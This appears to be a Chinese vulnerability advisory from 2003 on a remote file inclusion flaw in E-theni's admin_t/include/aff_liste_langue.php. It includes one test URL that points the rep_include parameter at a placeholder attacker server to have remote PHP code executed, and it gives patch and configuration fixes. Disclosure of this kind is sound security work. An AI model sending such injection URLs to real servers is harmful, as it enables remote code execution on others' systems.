E-theni远程文件包含漏洞发布时间：2003-01-06 更新时间：2003-02-26 严重程度：高 威胁程度：普通用户访问权限 错误类型：输入验证错误 利用方式：服务器模式 BUGTRAQ ID：6970 受影响系统 E-theni E-theni详细描述 E-theni存在漏洞可导致远程攻击者包含远程服务器上的文件。 E-theni中'admin_t/include/aff_liste_langue.php'脚本对$rep_includeE变量缺少正确的处理，可导致攻击者提交恶意参数而指定参数为攻击者拥有的服务器上的文件，以WEB权限执行恶意文件中的代码。 测试代码 http://[target]/admin_t/include/aff_liste_langue.php?rep_include=http://[attacker]/ with : http://[attacker]/para_langue.php 解决方案 相关补丁下载： http://phpsecure.rootzmail.net/E-theni.zip 或设置Php.ini，设置'allow_url_fopen'和'register_globals'为'off'。 相关信息 Frog Man <leseulfrog@hotmail.com> 参考：http://www.securityfocus.com/archive/1/305381 相关主页：http://www.theni.freesurf.fr |
